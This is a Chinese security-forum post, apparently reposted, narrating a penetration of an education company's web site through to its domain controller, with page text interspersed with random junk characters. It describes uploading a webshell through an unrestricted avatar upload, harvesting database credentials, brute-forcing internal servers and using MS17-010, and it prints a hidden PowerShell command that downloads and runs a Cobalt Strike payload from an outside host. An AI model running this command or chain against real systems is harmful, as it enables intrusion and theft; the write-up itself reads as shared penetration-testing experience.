找回密码
 立即注册
中国网络渗透测试联盟»论坛 › --==渗透测试区{ Penetration testing area }==-- › web app渗透测试::『Web App penetration testing』 › 渗透实战 | 从外网直接打到内网全过程
欢迎中测联盟老会员回家，1997年注册的域名
返回列表 发新帖
查看: 2627|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
admin
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

" \. t2 I+ T3 M( t 这次渗透是一个从0到1，从外网到拿下域控的实战过程，希望可以给大家一些思路9 a: |9 P4 G' p0 _$ |

, f; {6 q8 l$ Y

8 [' C4 c# _- D0 O. D! @7 C* i' P   6 P' ^" o$ o6 Y9 A3 X% r

% m- _, g. ?5 ~4 Z) l

+ S( O; l0 h3 A) J$ F* L; R- t# R 正文 * s7 ^ `0 D, [# I

" o/ \ r9 ^6 o

, l$ ]% s8 p" T) C8 q @  ( {. \* ?7 H* Z' T+ ]5 b! s" j( C

" O R! x& a$ q% p/ t) E- \; ^

" b; L; ~1 o2 s3 ?( t+ [; C) E 目标：www.xxxx.com(一家教育机构)
7 _% a8 L+ D% u8 x1 ^+ U打开是一个登录框，只能是手机号+密码或者手机号+验证码且并未开放注册功能5 f, S7 r- c" c2 ~/ Y

7 g( c$ p! u5 B

" q. y& f/ h' H* j+ _ vshapes= ! C4 z: i a5 b6 g

! T& o l7 ]2 s& x1 n2 j4 k% J

7 E6 u( ~# b' z4 B C0 r 进行了简单的信息搜集
$ b. v( S, X- n3 S# ]5 Y/ z
" w4 H0 F8 U4 v! A8 Q$ a$ a' Z $ [% ^) I% `& q) r/ F7 E) R

% k- p2 R! n- w

6 K/ _- A9 x, G, W& y 子域名搜集! F7 C3 h; y2 J# e& t( \3 C

+ D7 l3 l6 @ s8 ]

0 ?* N( v& _9 t5 l( W vshapes= [ U, P4 x T8 b3 y

! r4 s/ @3 q$ L9 H m

1 y, [' F; W6 j' T3 s5 a fofa找资产
9 S' W ~1 u" _3 _6 L! u4 O
, ~0 f- |5 u, q3 I# j c' V ; e) L$ j5 }% }. P/ ]# l; P' |

# K$ y' l5 x% Z% S

% S, V6 G5 H2 L vshapes= 2 H4 E! M2 E3 w- e( ]* V# s& Z

* \0 O" R! M* W# n

4 }8 p; J# d2 G) r F 一共七个资产。去重之后只有两个。
c% g# W: p/ k, x6 q. t$ o
" j5 [* M$ L8 k$ E/ b9 z5 R: G- {- v

" L- S' p8 J8 h& K* y7 d8 q& z# B2 L

5 o& s1 C2 l b 目录探测) o% d5 _) Q. G1 n: W3 f( K/ D

- A7 L, Q3 U6 c3 |% i) I

5 \6 @( r; B% o5 ~, n( }0 j; f# N vshapes= / X! G7 G3 {6 h4 {7 ?% H0 D; O

; t& q0 w9 K3 b# U) {) O' S

% x: z' q9 A3 G* t& Z n" L1 e 我尝试了暴力枚举，看有没有弱口令之类的,然而并没有
/ o: H" V) c: c" H
! Y: {1 `, ~: G5 g v) m$ U8 {% Y! p

0 ~0 ]# _1 f; o/ \( m1 P7 E

- j+ J1 S3 @, e3 l% C 我又尝试了通过修改返回包来绕过登录界面 6 b6 L, z% o7 I; R; `

/ a" K4 |( f, V" K; U6 Z

/ v# c, X2 B" y7 k" {8 L) z vshapes= . Z/ G( [- H8 f. F- s; i4 u9 F

& V0 c, A6 I0 N

6 g! i5 |: Q# ` g 还是不行，尝试注入无果1 x8 Q4 s `; e5 `. O- e- h

% v) g% {- H& |5 [

* p# t7 i: Z3 I; {; O# K1 h vshapes=0 W( i6 O9 \5 h! U- y

% x! t: k C1 K& b

8 f. }0 s5 e" n9 G# J 不过我目录探测出了一处Spring信息泄露
. X5 C" j0 R0 m, o0 L4 L
# u: b r* ?9 G 0 | s( R, Y4 o7 ~; ^7 T

9 z; Q4 Y3 C6 j+ w) O! S9 J8 S+ m

) _% c9 X Q% Z: L; q( Y: @( r vshapes=6 G2 `7 }' M3 Y$ f ^) h

2 M# h- `3 ]! D* b5 u

% g* V) f* B( ` 尝试Spring RCE无果，想通过trace目录下替换cookie实现登录，但是发现删除了这个目录. G1 V' R5 f: I

" v- V$ P, i: W* n- D. O

; w8 H; @* \1 z& g vshapes=3 M9 i: c1 N2 N; j+ D

% p0 z ]( B" R$ L3 v( o

% D+ D+ j. ^+ l7 z 后对公众号进行了简单的信息搜集，针对公众号搜集时，尽量找后面认证过的进行渗透。0 s1 p% L" ?* h& t

+ f: a- T/ J1 P

3 k3 q8 `, s) p5 Y vshapes= 5 i3 p3 A+ `% {$ o. r3 v$ q0 [+ N

6 k) {0 @# W" }

0 X0 E/ [1 L- [) z- `, x/ I1 w9 x 获取有些师傅到这一步就手机抓包电脑测了。5 n/ ~2 n F! k4 Z

* W/ \3 |% n! S7 q

7 M& s$ q' D A5 s, j$ q' M Windows新版微信可以抓取公众号和小程序的包，只需要把IE代理配置一下即可。 7 b" @) a/ ?/ E8 ~, t4 W/ \) s

4 W/ G: H; K; T

" e$ S; O' V0 n7 B 其中在一个公众号发现了小程序，可以进行注册。 3 M$ @' b% l8 p6 B U' K8 \

, H( C; Z) J3 _4 ~' Q/ d2 ]8 w( E3 }3 y

) ]- [" v3 i6 g- b+ q' a! n 看到了头像上传，尝试上传获取WebShell$ \6 ^( s, y3 K

9 p3 U0 J" O. R8 e9 j- B$ }+ @

/ k& |% i7 i; S vshapes=4 W P/ l+ H$ G, U6 A' J

2 j: \% Z% t. g2 t0 z7 U

d* A4 g V) m1 M0 o 未做任何限制成功GetShell，上了冰蝎马，目录没权限访问- Z6 t( J* |9 Y' v

+ f& J; B! }1 D& L

% F4 [9 g$ R6 Y$ V2 {. a vshapes= * D% M2 N3 b) U5 E% s% _8 E

0 e5 \ h6 }3 c& C+ w

4 X z3 w$ E$ U 然后上了大马3 Z2 H+ E2 W( j1 b2 k1 X+ j5 w$ j

6 {3 o8 e% L- h

* Q4 i( y3 @' l0 Q+ t vshapes=8 Z/ T1 `6 X0 `* c6 ]* i

$ W7 O0 _' z2 Y, z. q

3 {; H# k" W+ H0 F vshapes=4 s; A0 s! Y" j$ P

% T0 M P6 L& k( |+ N% z

: E. H. B( c) C9 @+ \ 通过翻找文件发现数据库账号密码 7 D1 a+ A8 z1 v5 O

! \% F& ?2 H* G

7 N& V3 O7 {) F* g1 Z, B+ @ vshapes= ' l9 q2 G9 [& q: [

" j2 g6 \/ K5 ^

/ `; k+ p; {5 D7 k1 A --内网渗透 9 @ J' m7 D6 n6 b; w

5 [; a7 b+ ^! b# q% s; \( N5 _, R% `

S' s; u& _. ^0 P q 直接通过powershell执行 cs上线 ' I; s# i+ U) K1 K2 z* P2 a; S2 l/ s

* {+ h+ C# {5 q

7 _) e# M3 w; {4 Z' P, o P. R9 C powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))" - v: P1 Z6 f7 l3 V$ M3 B

& u$ U; ^$ |% ?/ _: k) i( _1 f

0 C: q5 Y/ l1 R: f, b vshapes= 6 g# |1 _$ r { j2 |$ B

7 E1 s a/ a+ s3 \1 k2 A# n

, S& P: j7 W3 @* T! @) b 进入内网后，简单的进行一波信息收集，寻找域控并对服务器段进行弱口令爆破 ( X* W1 ^( g( w( s( o

( h3 D- Q) |3 q A9 u# b: `

8 ?! c9 s7 R! s3 O4 o1 O vshapes= / z# I' t; D+ X$ E( |# Q5 q

, N5 Q. p/ p$ p% r: }5 D, O

) I# h. b5 U5 u+ @ 登录爆破出来的服务器，发现多网卡且存在逻辑隔离。
, _& v3 D6 F7 a% c
2 Z0 Q1 T# K( f) D; P2 \% h
* U( z/ q( q* }/ H 5 U! x: a7 O- V7 n# S6 B! q7 S

. ~5 k, C. l; N9 _: H- p3 p' l% t9 _

6 b) x2 ~+ ^; y2 V vshapes=. a7 Y) d) x* M9 Y

8 U ?0 S' n2 V8 D0 J6 M: S2 g

- P3 x- E" q' r$ N$ @5 l* g3 \) ~ 通过跳扳机能通域控，发现域控server2008且存在ms17010,直接一把梭
- E9 ?- l+ [! z8 e
, o+ K% p* {/ X2 v8 r8 r( i7 \+ n- e + m* M' R' N x" S) T: E

. L0 ?& n% S8 v/ M

7 T, y; _% N& C5 t vshapes= ! R2 B% z9 M- l! ^ l j8 g }

# C+ [7 L* d7 O E6 d0 r

) T4 Q4 X% }$ b- ]5 l3 _& t
7 `& ?" |& A) D1 R' \4 U
. ~& l0 ^6 @# R$ K: i& M. C4 f5 W) R% L

2 G8 J1 W0 X( P: P8 L8 W2 P

' P6 A: }7 c" z+ C2 t! K& W  1 Q% f+ d7 B {! K) y0 Y

1 Z1 X2 j$ P2 X n! b' \1 Q

5 ~( u- t2 `& n2 A: t 小结% a2 P3 |1 W8 w- _& Y

- \! W# D1 N" _ Y

% k6 b' r/ o3 _/ Q3 {  ; ]" I& _7 Y8 C9 U

( D! Y/ @; n- g4 J

; R2 u- D5 O: g. U' s 在渗透测试过程中，信息收集很重要，细心和耐心也是不可缺少的，总得来说，这次的渗透测试总的来说比较顺利，希望可以给大家带来一些思路！ & S. `5 K! A% D* f

' e8 w- g" } T8 n/ h

1 S, C5 N" f: H5 j   , i6 S) |5 d, m5 m. D/ U) `

" J: L L# ~% H; A0 S
    # `# W" f& y# @( i3 ^) W7 P0 O( Q
  • ; z& O% e' m1 ^  ! c; J' E/ ]. b% P
    • ) o* M5 c) |0 b9 ~! m
  • 4 q5 m( l# b0 ^  / O, h5 N) b9 I6 u
    • ! _( ?. f5 j' U; D8 X
2 n+ Y; i- [1 z9 V) t a9 l

% I" V( z, A5 Z. R- G8 h2 E2 W 作者：Xm4FDf转载自：https://bbs.ichunqiu.com/thread-57879-1-1.html 0 v. B" ?% c r( L

2 V9 H0 a- M. ^0 E

+ s( v" e* [& `( x1 _8 O/ k+ V   & R5 T: ?2 Y8 Z9 Z/ g

回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Copyright © 2001-2013 Comsenz. All Rights Reserved - Powered by Discuz! X3.2
快速回复 返回顶部 返回列表